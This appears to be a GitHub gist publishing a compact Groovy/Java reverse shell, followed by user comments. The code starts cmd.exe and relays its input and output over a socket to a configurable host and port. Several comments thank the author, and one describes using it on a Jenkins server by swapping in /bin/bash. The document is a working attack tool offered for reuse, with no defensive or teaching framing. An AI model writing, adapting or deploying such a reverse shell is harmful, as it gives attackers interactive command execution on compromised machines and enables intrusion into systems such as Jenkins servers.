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@frohoff
Created March 2, 2016 18:55
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Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@Reelix
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Reelix commented Feb 8, 2018

Works well - Thanks :)

@d3w201
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d3w201 commented Mar 2, 2018

N111ce!

@patrickhener
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Very Nice!

@N0ur5
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N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

@zinzloun
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zinzloun commented Jun 4, 2020

Well done!

@cyb3r-n3rd
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Thanks Man

@elnazkm
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elnazkm commented Feb 3, 2021

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

@debiantano
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buenisima si señor :)

@SagarJana
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thank you sir.

@zBreeez3y
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Very nice, thank you!

@Brucolac1
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Still working! Thanks

@amporabipo
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Thanks bro <3

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